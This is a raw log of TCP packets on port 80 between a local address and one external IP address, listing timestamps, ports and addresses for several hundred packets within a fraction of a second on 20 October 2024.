Oct 20, 2024 23:43:04.619244099 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.619256973 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.619266987 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.619301081 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.619301081 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.620115995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.620127916 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.620138884 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.620151043 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.620162010 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.620173931 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.620186090 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.620198011 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.620198011 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.620212078 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.620213032 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.620213032 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.620222092 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.620224953 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.620237112 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.620248079 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.620264053 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.620274067 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.620274067 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.620299101 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.620317936 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.798964024 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.798983097 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.799000025 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.799045086 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.799057961 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.799058914 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.799069881 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.799082041 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.799093962 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.799119949 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.799119949 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.799139977 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.799278975 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.799290895 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.799303055 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.799336910 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.799350023 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.799361944 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.799396992 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.799396992 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.799418926 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.799431086 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.799504995 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.799560070 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.799572945 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.799583912 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.799596071 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.799611092 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.799623966 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.799623966 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.799653053 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.799743891 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.799762964 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.799776077 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.799818993 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.799818993 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.799917936 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.799978018 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.799989939 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.800122976 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.800134897 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.800146103 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.800158024 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.800170898 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.800189018 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.800189018 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.800246954 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.800327063 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.800342083 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.800354004 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.800390959 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.800390959 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.800463915 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.800476074 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.800487995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.800534964 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.800534964 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.800618887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.800638914 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.800651073 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.800662041 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.800676107 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.800688028 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.800698996 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.800699949 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.800714016 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.800735950 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.800736904 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.800793886 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.800903082 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.800914049 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.800956011 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.801023006 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.801035881 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.801048040 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.801059008 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.801073074 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.801084995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.801107883 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.801107883 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.801130056 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.801304102 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.801315069 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.801325083 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.801340103 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.801351070 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.801362991 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.801373005 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.801373005 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.801378965 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.801395893 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.801412106 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.801412106 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.801543951 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.801603079 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.801615000 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.801625967 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.801637888 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.801655054 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.801667929 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.801680088 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.801681042 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.801681042 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.801691055 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.801702976 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.801726103 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.801726103 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.801779032 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.801960945 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.801975012 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.801985025 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.802004099 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.802016973 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.802031994 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.802031994 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.802074909 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.804263115 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.804322958 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.804346085 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.804357052 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.804368973 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.804379940 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.804420948 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.804420948 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.804430008 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.804441929 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.804471016 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.804472923 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.804483891 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.804527998 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.804539919 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.804568052 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.804568052 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.804617882 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.804708958 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.804722071 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.804733038 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.804745913 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.804764032 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.804779053 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.804790974 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.804790974 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.804790974 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.804805994 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.804831982 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.804831982 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.804864883 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.804976940 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.804989100 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805000067 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805011988 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805026054 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805061102 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.805061102 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.805119038 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805146933 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805159092 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805170059 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805181980 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805206060 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.805207014 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.805263996 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.805349112 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805360079 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805375099 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805386066 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805397987 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805408955 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805429935 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.805429935 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.805474043 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.805479050 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805529118 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.805612087 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805624008 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805634022 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805645943 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805659056 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805670977 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805684090 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805685043 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.805685043 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.805696964 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805707932 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805710077 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.805746078 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.805746078 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.805919886 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805932045 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805942059 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805954933 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805972099 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.805984020 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.805984020 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.806054115 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.806066990 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.806078911 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.806090117 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.806101084 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.806113005 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.806124926 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.806128979 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.806128979 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.806164980 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.806178093 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.806179047 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.806190014 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.806202888 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.806215048 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.806215048 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.806215048 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.806227922 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.806250095 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.806283951 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.806591034 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.806602001 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.806612968 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.806624889 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.806659937 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.806659937 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.806746006 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.806759119 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.806770086 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.806782007 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.806793928 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.806822062 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.806822062 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.806843996 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.806899071 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.806910992 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.806921959 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.806947947 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.806997061 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.807004929 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807018042 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807029963 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807049036 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807059050 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807070017 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807077885 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.807077885 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.807085037 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807100058 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807123899 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.807125092 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.807292938 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807301044 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.807305098 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807395935 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.807487965 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807499886 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807526112 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807535887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807548046 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807552099 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.807559967 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807571888 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807584047 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807588100 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.807588100 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.807595968 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807609081 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807627916 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807636976 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.807636976 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.807640076 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807655096 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807658911 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.807667017 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807678938 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807689905 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807699919 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807706118 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.807706118 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.807713985 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807728052 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.807756901 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.807756901 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.807765961 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.808316946 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.808335066 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.808341026 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.808350086 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.808356047 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.808361053 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.808367014 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.808383942 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.808389902 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.808408976 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.808418036 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.808418036 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.808422089 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.808434010 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.808445930 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.808455944 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.808456898 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.808460951 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.808475018 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.808481932 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.808486938 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.808500051 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.808500051 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.808511972 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.808528900 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.808542013 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.808561087 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.809053898 CEST	80	49708	185.215.113.37	192.168.2.11
